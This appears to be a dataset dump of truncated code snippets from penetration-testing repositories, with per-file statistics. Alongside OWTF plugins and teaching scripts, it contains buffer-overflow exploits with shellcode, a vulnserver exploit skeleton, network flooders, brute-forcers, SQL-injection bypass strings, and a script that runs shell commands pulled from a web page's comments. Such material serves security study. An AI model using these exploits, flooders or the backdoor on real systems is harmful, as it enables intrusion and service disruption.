repo_name
stringclasses
29 values
text
stringlengths
18
367k
avg_line_length
float64
5.6
132
max_line_length
int64
11
3.7k
alphnanum_fraction
float64
0.28
0.94
owtf
""" owtf.api.handlers.misc ~~~~~~~~~~~~~~~~~~~~~~ To be deprecated. """ import tornado.gen import tornado.httpclient import tornado.web from owtf.api.handlers.base import APIRequestHandler from owtf.lib import exceptions from owtf.models.error import Error from owtf.managers.poutput import get_severity_freq, plugin_c...
29.244898
113
0.62943
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist passive testing for known XSS vectors" def run(PluginInfo): resource = get_resources("PassiveCrossSiteScripting") Content = plugin_helper.resource_linklist("Online Resources", resourc...
30.181818
75
0.78655
Hands-On-Penetration-Testing-with-Python
import os import sys sys.path.append(os.getcwd()) from xtreme_server.models import * from crawler import Crawler from logger import Logger project_name = sys.argv[1] project = Project.objects.get(project_name = project_name) start_url = str(project.start_url) query_url = str(project.query_url) login_url = str...
43.897436
133
0.684
PenetrationTestingScripts
""" WSGI config for scandere project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETT...
20.944444
78
0.769036
cybersecurity-penetration-testing
#basic username check import sys import urllib import urllib2 if len(sys.argv) !=2: print "usage: %s username" % (sys.argv[0]) sys.exit(0) url = "http://www.vulnerablesite.com/forgotpassword.html" username = str(sys.argv[1]) data = urllib.urlencode({"username":username}) response = urllib2.urlopen(url,data).r...
23.588235
57
0.724221
Hands-On-Penetration-Testing-with-Python
import requests class Detect_HSTS(): def __init__(self,target): self.target=target def start(self): try: resp=requests.get(self.target) headers=resp.headers print ("\n\nHeaders set are : \n" ) for k,v in headers.iteritems(): print(k+":"+v) if "Strict-Transport-Security" in headers.keys(): ...
19.37037
56
0.653916
Python-Penetration-Testing-for-Developers
import requests import re from bs4 import BeautifulSoup import sys scripts = [] if len(sys.argv) != 2: print "usage: %s url" % (sys.argv[0]) sys.exit(0) tarurl = sys.argv[1] url = requests.get(tarurl) soup = BeautifulSoup(url.text) for line in soup.find_all('script'): newline = line.get('src') scripts.append(new...
20.642857
55
0.638767
cybersecurity-penetration-testing
#http://search.maven.org/remotecontent?filepath=org/python/jython-standalone/2.7-b1/jython-standalone-2.7-b1.jar from burp import IBurpExtender from burp import IIntruderPayloadGeneratorFactory from burp import IIntruderPayloadGenerator from java.util import List, ArrayList import random class BurpExtender(IBurpExt...
24.765306
112
0.692155
Penetration_Testing
#!/usr/bin/python # Converts to hex, ascii, decimal, octal, binary, or little-endian. import sys from binascii import unhexlify, b2a_base64 def ascToHex(string): in_hex = string.encode('hex') return in_hex def toLittleEndian(string): little_endian = '0x' + "".join(reversed([string[i:i+2] for i in range(0, l...
14.672131
67
0.668063
owtf
""" PASSIVE Plugin for Testing_for_SSL-TLS_(OWASP-CM-001) """ from owtf.plugin.helper import plugin_helper DESCRIPTION = "Third party resources" def run(PluginInfo): # Vuln search box to be built in core and resued in different plugins: resource = get_resources("PassiveSSL") Content = plugin_helper.resou...
26.357143
75
0.73822
PenetrationTestingScripts
__author__ = 'wilson' from Crypto.Cipher import DES from sys import version_info import time class VNC_Error(Exception): pass class VNC: def connect(self, host, port, timeout): self.fp = socket.create_connection((host, port), timeout=timeout) resp = self.fp.recv(99) # banner self.version = resp[:11]...
22.479592
113
0.571739
Penetration-Testing-with-Shellcode
#!/usr/bin/python import socket import sys junk = 'A'*500 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect(('192.168.129.128',21)) s.recv(1024) s.send('USER '+junk+'\r\n')
16.909091
50
0.688776
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-18 # @File : subdomain_brute.py # @Desc : "" import time import os from threading import Thread from flask import Blueprint, render_template, request, redirect, url_for, jsonify, make_response, send_from_directory from bson im...
41.368421
117
0.59122
PenetrationTestingScripts
#!/usr/bin/env python #!BruteXSS #!Cross-Site Scripting Bruteforcer #!Author: Shawar Khan #!Site: https://shawarkhan.com from string import whitespace import httplib import urllib import socket import urlparse import os import sys import time from colorama import init , Style, Back,Fore import mechanize import httplib...
33.746177
191
0.573365
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher Duffy Date: February 2015 Name: ifacesdetails.py Purpose: Provides the details related to a systems interfaces Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provid...
38.209877
124
0.727874
Mastering-Machine-Learning-for-Penetration-Testing
import os import scipy import array filename = '<Malware_File_Name_Here>'; f = open(filename,'rb'); ln = os.path.getsize(filename); width = 256; rem = ln%width; a = array.array("B"); a.fromfile(f,ln-rem); f.close(); g = numpy.reshape(a,(len(a)/width,width)); g = numpy.uint8(g); scipy.misc.imsave('<Malware_File_Name_Her...
21.2
52
0.674699
cybersecurity-penetration-testing
import urllib2 from bs4 import BeautifulSoup import sys import time tarurl = sys.argv[1] if tarurl[-1] == "/": tarurl = tarurl[:-1] print"<MaltegoMessage>" print"<MaltegoTransformResponseMessage>" print" <Entities>" url = urllib2.urlopen(tarurl).read() soup = BeautifulSoup(url) for line in soup.find_all('a'): newli...
23.931034
42
0.684211
Hands-On-Penetration-Testing-with-Python
import requests class Detect_CJ(): def __init__(self,target): self.target=target def start(self): try: resp=requests.get(self.target) headers=resp.headers print ("\n\nHeaders set are : \n" ) for k,v in headers.iteritems(): print(k+":"+v) if "X-Frame-Options" in headers.keys(): print("\n\...
18.814815
46
0.642322
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.6 import multiprocessing as mp import time import logging logging.basicConfig(level=logging.DEBUG, format='(%(processName)-10s) %(message)s', ) class Processes(): def __init__(self): pass def execute(self,type_): logging.debug("Enter : " +str(type_)) ...
21.833333
62
0.647166
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 import child as c def parent_method(): print("--------------------") print("IN parent method -Invoking child()") c.child_method() print("--------------------\n") parent_method()
19.6
44
0.536585
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- from scapy.all import * from bluetooth import * def retBtAddr(addr): btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:] btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":"+\ btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12] return btAddr def checkBlueto...
24.571429
60
0.587248
Python-Penetration-Testing-Cookbook
import sys from scapy.all import * interface = "en0" pkt = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \ IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \ ICMP() print ("Flooding LAN with random packets on interface " + interface ) try: while True: sendp(pkt, if...
19.15
71
0.549751
cybersecurity-penetration-testing
import win32con import win32gui import win32ui import time desktop = win32gui.GetDesktopWindow() left, top, right, bottom = win32gui.GetWindowRect(desktop) height = bottom - top width = right - left win_dc = win32gui.GetWindowDC(desktop) ui_dc = win32ui.CreateDCFromHandle(win_dc) bitmap = win32ui.CreateBitmap() bitm...
25.482759
72
0.761408
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 import socket class SP(): def client(self): try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.1.103',80)) while True: data=input("Enter data to be sent to server : \n") if not data: break else: s.send(data.encode('utf-8')) rep...
19.208333
54
0.603306
owtf
""" Plugin for probing emc """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = " EMC Probing " def run(PluginInfo): resource = get_resources("EmcProbeMethods") return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
23.384615
88
0.743671
Ethical-Hacking-Scripts
from pynput.keyboard import Listener import socket, urllib.request, threading class Keylogger: def __init__(self, ip, port): self.ip = ip self.port = port self.selfip = self.getip() self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.client.connect((s...
35.264706
87
0.55763
owtf
""" owtf.models.command ~~~~~~~~~~~~~~~~~~~ """ from sqlalchemy import Column, Integer, String, ForeignKey, DateTime, Boolean from sqlalchemy.ext.hybrid import hybrid_property from owtf.db.model_base import Model from owtf.db.session import flush_transaction from owtf.models import plugin class Command(Model): ...
29.14
77
0.63745
cybersecurity-penetration-testing
import sys f = open("ciphers.txt", "r") MSGS = f.readlines() def strxor(a, b): # xor two strings of different lengths if len(a) > len(b): return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)]) else: return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])]) ...
45.913043
268
0.765306
Python-Penetration-Testing-for-Developers
import socket import struct host = "192.168.0.1" port = 12347 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, port)) s.listen(1) conn, addr = s.accept() print "connected by", addr msz= struct.pack('hhl', 1, 2, 3) conn.send(msz) conn.close()
15.5625
53
0.685606
owtf
""" Plugin for probing mssql """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = " MsSql Probing " def run(PluginInfo): resource = get_resources("MsSqlProbeMethods") # No previous output return plugin_helper.CommandDump("Test Command", "Output",...
23.857143
88
0.740634
PenetrationTestingScripts
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. from .initialise import init, deinit, reinit, colorama_text from .ansi import Fore, Back, Style, Cursor from .ansitowin32 import AnsiToWin32 __version__ = '0.3.7'
29.125
74
0.758333
owtf
""" GREP Plugin for SSL protection NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log """ from owtf.plugin.helper import plugin_helper DESCRIPTION = "Searches transaction DB for SSL protections" def run(PluginInfo): title = "This plugin looks for server-side protection he...
29.941176
91
0.750476
Python-Penetration-Testing-for-Developers
from scapy.all import * ip1 = IP(src="192.168.0.10", dst ="192.168.0.11") sy1 = TCP(sport =1024, dport=137, flags="A", seq=12345) packet = ip1/sy1 p =sr1(packet) p.show()
23.571429
55
0.649123
Broken-Droid-Factory
import os import random import randomword from patchers import patcher_interface class common_patcher(patcher_interface.patcher): ''' This patcher is used to perform standard alterations to the app, including modifying the name, creating a more interesting activity, and adding red herring code to the MainAc...
43.456522
185
0.656556
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 string="A"*2606 + "\x8f\x35\x4a\x5f" +"C"*390 if 1: print"Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.250.136',110)) data=s.recv(1024) #print s...
17.551724
54
0.577281
cybersecurity-penetration-testing
from scapy.all import * num = int(raw_input("Enter the number of packets ")) interface = raw_input("Enter the Interface ") arp_pkt=ARP(pdst='192.168.1.255',hwdst="ff:ff:ff:ff:ff:ff") eth_pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff") try: sendp(eth_pkt/arp_pkt,iface=interface,count =num, inter= .001) except : ...
22.933333
63
0.692737
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 from multiprocessing import Pool import multiprocessing as mp import datetime as dt class Pooling(): def read_from_file(self,file_name): try: fn=list(file_name.keys())[0] line_no=0 for line in open(fn,"r") : if line_no == 0: line_no=line_no + 1 continue records=line.s...
27.762887
67
0.592327
Python-Penetration-Testing-for-Developers
import threading import time import socket, subprocess,sys import thread import collections from datetime import datetime '''section 1''' net = raw_input("Enter the Network Address ") st1 = int(raw_input("Enter the starting Number ")) en1 = int(raw_input("Enter the last Number ")) en1=en1+1 #dic = collections.Ordered...
21.014085
60
0.671575
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import hashlib message = raw_input("Enter the string you would like to hash: ") md5 = hashlib.md5(message) md5 = md5.hexdigest() sha1 = hashlib.sha1(message) sha1 = sha1.hexdigest() sha256 = hashlib.sha256(message) sha256 = sha256.hexdigest() sha512 = hashlib.sha512(messag...
20
64
0.701245
Mastering-Machine-Learning-for-Penetration-Testing
from cleverhans.utils_tf import model_train , model_eval , batch_eval from cleverhans.attacks_tf import jacobian_graph from cleverhans.utils import other_classes from cleverhans.utils_tf import model_train , model_eval , batch_eval from cleverhans.attacks_tf import jacobian_graph from cleverhans.utils import other_cl...
42.586466
745
0.678571
PenetrationTestingScripts
#coding=utf-8 import time import threading from printers import printPink,printGreen from multiprocessing.dummy import Pool from pysnmp.entity.rfc3413.oneliner import cmdgen class snmp_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.result=[] ...
31.757576
98
0.503933
cybersecurity-penetration-testing
#!/usr/bin/env python import sys import urllib import cStringIO from optparse import OptionParser from PIL import Image from itertools import izip def get_pixel_pairs(iterable): a = iter(iterable) return izip(a, a) def set_LSB(value, bit): if bit == '0': value = value & 254 else: val...
28.189781
119
0.573037
Python-Penetration-Testing-for-Developers
import urllib from bs4 import BeautifulSoup import re domain=raw_input("Enter the domain name ") url = "http://smartwhois.com/whois/"+str(domain) ht= urllib.urlopen(url) html_page = ht.read() b_object = BeautifulSoup(html_page) file_text= open("who.txt",'a') who_is = b_object.body.find('div',attrs={'class' : 'whois'}) ...
17.026316
60
0.671053
cybersecurity-penetration-testing
# # This is free and unencumbered software released into the public domain. # # Anyone is free to copy, modify, publish, use, compile, sell, or # distribute this software, either in source code form or as a compiled # binary, for any purpose, commercial or non-commercial, and by any # means. # # In jurisdiction...
45.668421
137
0.590255
owtf
""" owtf.utils.pycompat ~~~~~~~~~~~~~~~~~~~ Helpers for compatibility between Python 2.x and 3.x. """ import sys PY2 = sys.version_info[0] == 2 PY3 = sys.version_info[0] == 3 if not PY2: strtypes = (str,) def u(s): return s else: strtypes = (str, unicode) def u(s): return unicode...
14.4
53
0.534279
PenetrationTestingScripts
from django.shortcuts import get_object_or_404, render, redirect from django.http import HttpResponseRedirect, HttpResponse from django.contrib.admin.models import LogEntry from django.core.urlresolvers import reverse from django.contrib import admin, messages from nmaper import views, models admin.site.register(mode...
37.16
97
0.755509
Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E
import socket import struct s = socket.socket() s.connect(("<ServerIP>",9999)) buf = b"" buf += b"<Add the shell code from msfvenom here> shellcode = buf nops = b"\x90"*16 leng = 2984 offset = 2003 eip = struct.pack("<I",0x62501203) payload = [b"TRUN /.:/",b"A"*offset,eip,nops,shellcode,b"C"*(leng - offset - len(eip) ...
22.882353
74
0.666667
Python-for-Offensive-PenTest
# Python For Offensive PenTest # Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7 # http://www.voidspace.org.uk/python/modules.shtml#pycrypto # Download Pycrypto source # https://pypi.python.org/pypi/pycrypto # For Kali, after extract the tar file, invoke "python setup.py install"from Crypto.PublicKey im...
25.790698
104
0.740226
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 string="A"*2606 + "B"*4 +"C"*400 if 1: print"Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.250.136',110)) data=s.recv(1024) #print str(data) s.sen...
18.296296
54
0.576923
Hands-On-Penetration-Testing-with-Python
import json import os from keys import misp_url, misp_key import logging from DB_Layer.Misp_access import MispDB import multiprocessing from multiprocessing import Process import math import datetime import time class ThreatScore(): def __init__(self): logger = logging.getLogger('Custom_log') logger.setLeve...
38.866667
193
0.664554
cybersecurity-penetration-testing
import time from bluetooth import * alreadyFound = [] def findDevs(): foundDevs = discover_devices(lookup_names=True) for (addr, name) in foundDevs: if addr not in alreadyFound: print '[*] Found Bluetooth Device: ' + str(name) print '[+] MAC address: ' + str(addr) ...
17.857143
60
0.605063
cybersecurity-penetration-testing
#!/usr/bin/env python import os from os.path import join import posix1e import re import stat import sys def acls_from_file(filename, include_standard = False): """Returns the extended ACL entries from the given file as list of the text representation. Arguments: filename -- the file name to...
27
86
0.583461
cybersecurity-penetration-testing
# Pyperclip v1.4 # A cross-platform clipboard module for Python. (only handles plain text for now) # By Al Sweigart al@coffeeghost.net # Usage: # import pyperclip # pyperclip.copy('The text to be copied to the clipboard.') # spam = pyperclip.paste() # On Mac, this module makes use of the pbcopy and p...
35.134146
139
0.66481
Mastering-Machine-Learning-for-Penetration-Testing
import pickle as pkl import numpy as np import tensorflow as tf import matplotlib.pyplot as plt from tensorflow.examples.tutorials.mnist import input_data mnist = input_data.read_data_sets('MNIST_data') def model_inputs(real_dim, z_dim): inputs_real = tf.placeholder(tf.float32, (None, real_dim), name='input_real')...
33.625
109
0.624425
Hands-On-Penetration-Testing-with-Python
class Address(): def __init__(self,couyntry,state,Area,street,zip_code): self.country=country self.state= def DepartmentInfo(self): return "Department Name : " +str(self.name) +", Location : " +str(self.loc) class Manager(): def __init__(self,m_id,name): self.m_id=m_id self.name=name def ManagerInfo(self...
25.68
78
0.636637
cybersecurity-penetration-testing
# Detect English module # http://inventwithpython.com/hacking (BSD Licensed) # To use, type this code: # import detectEnglish # detectEnglish.isEnglish(someString) # returns True or False # (There must be a "dictionary.txt" file in this directory with all English # words in it, one word per line. You can do...
33.345455
76
0.685911
cybersecurity-penetration-testing
#!/usr/bin/python # # Effective CDP Flooder reaching about 1.7-2.1MiB/s (6-7,5K pps) triggering Denial of Service # on older network switches and routers like Cisco Switch C2960. # (p.s. Yersinia reaches up to even 10-12MiB/s - 65K pps!) # # Python requirements: # - scapy # # Mariusz Banach / mgeeky, '18, <mb@binary...
37.595668
249
0.578204
Hands-On-Penetration-Testing-with-Python
#simple python script to run a vulnerable program import subprocess param = "A" * 44 ret = "\x44\xff\x22\x11" shellcode = ("\x90" * 10 + "\x8b\xec\x55\x8b\xec" + "\x68\x65\x78\x65\x2F" + "\x68\x63\x6d\x64\x2e" + "\x8d\x45\xf8\x50\xb8" + "\xc7\x93\xc2\x77" + "\xff\xd0") subprocess.call(["buff",...
25.692308
52
0.598266
cybersecurity-penetration-testing
import socket host = "192.168.0.1" port = 12345 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, port)) s.listen(1) conn, addr = s.accept() print "connected by", addr conn.send("Thanks") conn.close()
14.928571
53
0.689189
Ethical-Hacking-Scripts
import pyshark, sys from optparse import OptionParser class PacketSniffer: def __init__(self, filter=None): self.capture = pyshark.LiveCapture(display_filter=filter) self.capture.sniff(timeout=0.01) self.filter = filter self.hasfilter = False def sniff(self): whi...
43.735294
249
0.463006
cybersecurity-penetration-testing
#!/usr/bin/python # # Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your opti...
33.111111
116
0.678618
owtf
""" owtf.api.handlers.auth ~~~~~~~~~~~~~~~~~~~~~~~~ """ from sqlalchemy.sql.functions import user from owtf.models.user_login_token import UserLoginToken from owtf.api.handlers.base import APIRequestHandler from owtf.lib.exceptions import APIError from owtf.models.user import User from datetime import datetime, timede...
31.346221
158
0.549717
PenetrationTestingScripts
"""A simple "pull API" for HTML parsing, after Perl's HTML::TokeParser. Examples This program extracts all links from a document. It will print one line for each link, containing the URL and the textual description between the <A>...</A> tags: import pullparser, sys f = file(sys.argv[1]) p = pullparser.PullParser(f...
35.614796
79
0.574624
Hands-On-AWS-Penetration-Testing-with-Kali-Linux
import boto3 import subprocess import urllib def lambda_handler(event, context): try: s3 = boto3.client('s3') print(s3.list_buckets()) except: pass s3 = boto3.client('s3') for record in event['Records']: try: bucket_name = record['s3']['bucket']['name'] ...
28.566038
79
0.448276
cybersecurity-penetration-testing
''' Copyright (c) 2016 Chet Hosmer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distri...
28.790698
104
0.621955
cybersecurity-penetration-testing
#!/usr/bin/python # # Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your opti...
28.474747
116
0.60096
owtf
""" owtf.api.handlers.work ~~~~~~~~~~~~~~~~~~~~~~ """ from urllib import parse import tornado.gen import tornado.httpclient import tornado.web from owtf.api.handlers.base import APIRequestHandler from owtf.api.utils import _filter_headers from owtf.lib import exceptions from owtf.lib.exceptions import APIError from o...
31.270541
98
0.498261
cybersecurity-penetration-testing
# Modified example that is originally given here: # http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html import tempfile import threading import win32file import win32con import os # these are the common temp file directories dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()] # fil...
32.830508
107
0.527938
Python-Penetration-Testing-for-Developers
import urllib2 from bs4 import BeautifulSoup import sys import time tarurl = sys.argv[1] if tarurl[-1] == "/": tarurl = tarurl[:-1] print"<MaltegoMessage>" print"<MaltegoTransformResponseMessage>" print" <Entities>" url = urllib2.urlopen(tarurl).read() soup = BeautifulSoup(url) for line in soup.find_all('a'): newli...
23.931034
42
0.684211
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
cybersecurity-penetration-testing
import re import zlib import cv2 from scapy.all import * pictures_directory = "pic_carver/pictures" faces_directory = "pic_carver/faces" pcap_file = "bhp.pcap" def face_detect(path,file_name): img = cv2.imread(path) cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") ...
21.823077
92
0.634525
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
PenetrationTestingScripts
#coding=utf-8 import time import threading from multiprocessing.dummy import Pool from printers import printPink,printGreen from ftplib import FTP class ftp_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.result=[] self.lines=self.config.file2list...
30.402597
125
0.522962
PenetrationTestingScripts
"""Mozilla / Netscape cookie loading / saving. Copyright 2002-2006 John J Lee <jjl@pobox.com> Copyright 1997-1999 Gisle Aas (original libwww-perl code) This code is free software; you can redistribute it and/or modify it under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt included with the distri...
38.024691
80
0.538364
cybersecurity-penetration-testing
subs = [] values = {" ": "%50", "SELECT": "HAVING", "AND": "&&", "OR": "||"} originalstring = "' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#" secondoriginalstring = originalstring for key, value in values.iteritems(): if key in originalstring: newstring = originalstring.replace...
35.266667
103
0.714549
Python-Penetration-Testing-Cookbook
import socket,sys,os os.system('clear') host = 'www.dvwa.co.uk' ip = socket.gethostbyname(host) open_ports =[] common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110, 123, 137, 138, 139, 143, 156, 161, 389, 443, 445, 500, 546, 547, 587, 660, 995, 993, 2086, 20...
20
63
0.600454
Hands-On-Penetration-Testing-with-Python
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Project' db.create_table(u'xtreme_server_proje...
64.037037
130
0.570798
cybersecurity-penetration-testing
#!/usr/bin/python3 import pymysql import pymysql.cursors import pymysql.converters from Logger import * import datetime DATABASE_LOGGING = False class Logger: @staticmethod def _out(x): if DATABASE_LOGGING: sys.stderr.write(str(x) + u'\n') @staticmethod def dbg(x): if DA...
31.154812
125
0.534487
cybersecurity-penetration-testing
import urllib url1 = raw_input("Enter the URL ") http_r = urllib.urlopen(url1) if http_r.code == 200: print http_r.headers
23.8
34
0.715447
owtf
from owtf.config import config_handler from owtf.plugin.helper import plugin_helper from owtf.plugin.params import plugin_params DESCRIPTION = "Denial of Service (DoS) Launcher -i.e. for IDS/DoS testing-" CATEGORIES = [ "HTTP_WIN", "HTTP", "DHCP", "NTFS", "HP", "MDNS", "PPTP", "SAMBA", ...
23.672727
87
0.556047
Hands-On-Penetration-Testing-with-Python
#unset QT_QPA_PLATFORM #sudo echo "export QT_QPA_PLATFORM=offscreen" >> /etc/environment from bs4 import BeautifulSoup import requests import multiprocessing as mp from selenium import webdriver import time import datetime from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import ex...
33.408333
94
0.639293
Python-Penetration-Testing-for-Developers
import requests import sys url = "http://127.0.0.1/traversal/third.php?id=" payloads = {'etc/passwd': 'root'} up = "../" i = 0 for payload, string in payloads.iteritems(): while i < 7: req = requests.post(url+(i*up)+payload) if string in req.text: print "Parameter vulnerable\r\n" print "Attack string: "+(i*u...
21.529412
48
0.638743
cybersecurity-penetration-testing
#!/usr/bin/python3 import io import sys import gzip import base64 def main(argv): if len(argv) < 2: print('Usage: ./compressedPowershell.py <input>') sys.exit(-1) out = io.BytesIO() encoded = '' with open(argv[1], 'rb') as f: inp = f.read() with gzip.GzipFile(fileobj ...
23.16129
161
0.613636
cybersecurity-penetration-testing
''' Copyright (c) 2016 Chet Hosmer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distri...
28.790698
104
0.621955
owtf
""" GREP Plugin for Testing for CSRF (OWASP-SM-005) https://www.owasp.org/index.php/Testing_for_CSRF_%28OWASP-SM-005%29 NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log """ from owtf.plugin.helper import plugin_helper DESCRIPTION = "Searches transaction DB for CSRF protection...
29.2
91
0.761062
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Chris Duffy Date: May 2015 Name: banner_grabber.py Purpose: To provide a means to demonstrate a simple file upload proof of concept related to exploiting Free MP3 CD Ripper. Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binar...
50.671875
91
0.757411
cybersecurity-penetration-testing
import requests import re from bs4 import BeautifulSoup import sys scripts = [] if len(sys.argv) != 2: print "usage: %s url" % (sys.argv[0]) sys.exit(0) tarurl = sys.argv[1] url = requests.get(tarurl) soup = BeautifulSoup(url.text) for line in soup.find_all('script'): newline = line.get('src') scripts.append(new...
20.642857
55
0.638767
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
hackipy
#!/usr/bin/python3 try: print("[>] Importing required modules") from utilities import is_root, nothing, mac_is_valid, change_mac, generate_random_mac, get_current_mac, get_default_interface import argparse except ModuleNotFoundError: print("[!] Missing modules, Exiting...") exit() else: print("...
36.531646
134
0.610324
cybersecurity-penetration-testing
import zipfile import os from time import gmtime, strftime from helper import utility from lxml import etree __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 __description__ = 'This scripts parses embedded metadata from office files' def main(filename): """ The officePa...
36.919118
114
0.580295
PenTesting
#!/usr/bin/env python # Copyright (c) 2018 Matthew Daley # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify...
30.247059
78
0.754426
Python-Penetration-Testing-for-Developers
import shelve def create(): shelf = shelve.open("mohit.raj", writeback=True) shelf['desc'] ={} shelf.close() print "Dictionary is created" def update(): shelf = shelve.open("mohit.raj", writeback=True) data=(shelf['desc']) port =int(raw_input("Enter the Port: ")) data[port]= raw_input("\n Enter th...
19.274194
71
0.592357
owtf
""" tests.suite.parser ~~~~~~~~~~~~~~~~~~ Argument parser for the tests suite. """ from __future__ import print_function import sys import argparse import unittest from tests.suite import SUITES def create_parser(): """Create the different options for running the functional testing framework.""" parser = a...
24.527778
87
0.60479
cybersecurity-penetration-testing
import requests import re import subprocess import time import os while 1: req = requests.get("http://127.0.0.1") comments = re.findall('<!--(.*)-->',req.text) for comment in comments: if comment = " ": os.delete(__file__) else: try: response = subprocess.check_output(comment.split()) ...
24.619048
100
0.642458
cybersecurity-penetration-testing
#!/usr/bin/python msg = raw_input('Please enter the string to encode: ') print "Your B64 encoded string is: " + msg.encode('base64')
26
59
0.69403
cybersecurity-penetration-testing
import requests import re from bs4 import BeautifulSoup import sys if len(sys.argv) !=2: print "usage: %s targeturl" % (sys.argv[0]) sys.exit(0) urls = [] tarurl = sys.argv[1] url = requests.get(tarurl) comments = re.findall('<!--(.*)-->',url.text) print "Comments on page: "+tarurl for comment in comments...
22.657895
49
0.58686
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import mechanize def viewPage(url): browser = mechanize.Browser() page = browser.open(url) source_code = page.read() print source_code viewPage('http://www.syngress.com/')
14.733333
36
0.642553
cybersecurity-penetration-testing
import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) import sys from scapy.all import * if len(sys.argv) !=3: print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0]) sys.exit(0) livehosts=[] #IP address validation ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|...
30.75
230
0.629713
owtf
""" owtf.api.handlers.transactions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ """ import logging import tornado.gen import tornado.httpclient import tornado.web from owtf.api.handlers.base import APIRequestHandler from owtf.lib import exceptions from owtf.lib.exceptions import InvalidParameterType, InvalidTargetReference, Inval...
31.184397
118
0.584463
Hands-On-Penetration-Testing-with-Python
